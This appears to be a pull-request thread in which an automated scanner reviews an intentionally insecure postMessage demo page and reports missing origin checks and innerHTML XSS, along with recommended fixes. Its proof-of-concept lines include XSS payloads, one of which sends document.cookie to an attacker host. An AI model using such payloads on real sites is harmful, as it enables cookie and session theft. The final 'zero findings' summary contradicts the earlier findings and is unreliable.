Create test5.html

[maekuss]

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[hacktron-app-dev]

🔴 Missing Origin Validation Allows Universal Message Reception

Severity: high
File: test5.html (Line 26)

Description: The window.addEventListener('message') handler accepts messages from any origin without validation. While the origin is displayed to the user, there is no programmatic check to reject messages from untrusted sources. This violates the principle of least privilege and creates an attack surface for malicious cross-origin communication.

Proof of Concept:

Any website can send messages to this page:

// From https://evil.com
const victimWindow = window.open('https://victim.com/test5.html');
victimWindow.postMessage(maliciousPayload, '*');

Recommended fix:
window.addEventListener('message', (event) => {
  const allowedOrigins = ['https://trusted.example.com'];
  if (!allowedOrigins.includes(event.origin)) {
    console.warn('Rejected message from:', event.origin);
    return;
  }
  // Process message safely
});

Finding ID: 550e8400-e29b-41d4-a716-446655440003

[hacktron-app-dev]

🚨 DOM-based XSS via Unsafe innerHTML Assignment

Severity: critical
File: test5.html (Line 31)

Description: The application directly assigns untrusted data from postMessage to innerHTML without sanitization. This creates a DOM-based Cross-Site Scripting (XSS) vulnerability where an attacker can inject and execute arbitrary JavaScript code.

Proof of Concept:

An attacker can inject malicious HTML/JavaScript:

1. From another window:
window.opener.postMessage('<img src=x onerror="alert('XSS')">', '*');

2. Or with a more sophisticated payload:
window.opener.postMessage('<script>fetch("https://attacker.com?cookie="+document.cookie)</script>', '*');

Both will execute in the victim's browser context.

Finding ID: 550e8400-e29b-41d4-a716-446655440002

[hacktron-app-dev]

🔴 Insecure postMessage without Origin Validation

Severity: high
File: test5.html (Line 26)

Description: The message event listener does not validate event.origin before processing messages. This allows any malicious website to send arbitrary messages to this page, potentially leading to Cross-Site Scripting (XSS) attacks.

Proof of Concept:

An attacker can exploit this by opening this page and sending a malicious postMessage:

window.opener.postMessage('<img src=x onerror=alert(document.cookie)>', '*');

This will execute arbitrary JavaScript in the context of the vulnerable page.

Finding ID: 550e8400-e29b-41d4-a716-446655440001

[hacktron-app-dev]

🔒 Hacktron Security Scan Results

🔒 Security Scan Results

This PR introduces a new HTML page (test5.html) that demonstrates insecure postMessage handling patterns. Our security scan identified 3 critical vulnerabilities that need immediate attention.

🎯 What This PR Does

Adds a demonstration page showing common postMessage security anti-patterns:

• Accepts messages from any origin without validation
• Uses unsafe innerHTML assignment with untrusted data
• Creates DOM-based XSS attack surface

🔍 Security Analysis Flow

graph TD
    A[External Website] -->|postMessage| B[test5.html]
    B --> C{Origin Validation?}
    C -->|❌ NO CHECK| D[Accept Any Origin]
    D --> E[Extract event.data]
    E --> F{Sanitization?}
    F -->|❌ NO SANITIZATION| G[innerHTML Assignment]
    G --> H[💥 XSS Execution]
    
    style C fill:#ff6b6b
    style D fill:#ff6b6b
    style F fill:#ff6b6b
    style G fill:#ff6b6b
    style H fill:#ff0000,color:#fff

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⚠️ Critical Vulnerabilities Found

1. Missing Origin Validation (Line 26)

   • No check on event.origin before processing messages
   • Any website can send messages to this page

2. DOM-based XSS via innerHTML (Line 31)

   • Direct assignment of untrusted data to innerHTML
   • Allows arbitrary JavaScript execution

3. Universal Message Reception (Line 26)

   • Violates principle of least privilege
   • Creates unnecessary attack surface

🛡️ Recommended Fixes

// Add origin validation
const allowedOrigins = ['https://trusted.example.com'];
if (!allowedOrigins.includes(event.origin)) return;

// Use textContent instead of innerHTML
document.getElementById('output').textContent = incoming;

📊 Impact Assessment

• Severity: Critical
• Attack Vector: Cross-origin postMessage
• Exploitability: High (requires user to visit malicious site)
• Impact: Full XSS - cookie theft, session hijacking, data exfiltration

---

⚡ Action Required: Do not merge until vulnerabilities are remediated.

---

📊 Summary

• Total Findings: 3
• Critical: 1 🚨
• High: 2 🔴

🔍 Findings

🚨 Critical

1. DOM-based XSS via Unsafe innerHTML Assignment
   • File: test5.html:31
   • Description: The application directly assigns untrusted data from postMessage to innerHTML without sanitization. This creates a DOM-based Cross-Site Scripting (XSS) vulnerability where an attacker can inject and execute arbitrary JavaScript code.
   • Category: vulnerability

🔴 High

1. Missing Origin Validation Allows Universal Message Reception

   • File: test5.html:26
   • Description: The window.addEventListener('message') handler accepts messages from any origin without validation. While the origin is displayed to the user, there is no programmatic check to reject messages from untrusted sources. This violates the principle of least privilege and creates an attack surface for malicious cross-origin communication.
   • Category: vulnerability

2. Insecure postMessage without Origin Validation

   • File: test5.html:26
   • Description: The message event listener does not validate event.origin before processing messages. This allows any malicious website to send arbitrary messages to this page, potentially leading to Cross-Site Scripting (XSS) attacks.
   • Category: vulnerability

---

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[hacktron-app-dev]

🔒 Hacktron Security Scan Results

🔒 Security Analysis: postMessage Implementation

This PR introduces a new HTML page (test5.html) that demonstrates postMessage functionality. Our security scan has identified several critical vulnerabilities in the implementation.

📊 Architecture Overview

graph TD
    A[Browser Window] -->|postMessage| B[Message Event Listener]
    B -->|No Origin Check| C[Accept Any Message]
    C -->|Direct Assignment| D[innerHTML Sink]
    D -->|Execute| E[XSS Payload]
    
    style C fill:#ff6b6b
    style D fill:#ff6b6b
    style E fill:#ff6b6b

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🎯 What This PR Does

This PR adds a demonstration page for cross-origin communication using the postMessage API. The implementation:

• Accepts messages from any origin via window.addEventListener('message')
• Displays origin information to show where messages come from
• Renders message content directly into the DOM using innerHTML
• Includes documentation with reproduction steps and secure patterns

⚠️ Security Impact

The current implementation creates multiple attack vectors:

1. No origin validation - Messages from any website are accepted
2. Unsafe DOM manipulation - Direct innerHTML assignment without sanitization
3. XSS vulnerability - Attackers can inject and execute arbitrary JavaScript

🔧 Recommended Actions

• Implement strict origin validation using an allowlist
• Replace innerHTML with safer alternatives like textContent
• Add Content Security Policy headers
• Validate message structure and data types

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📊 Summary

• Total Findings: 0

✅ No security issues found!

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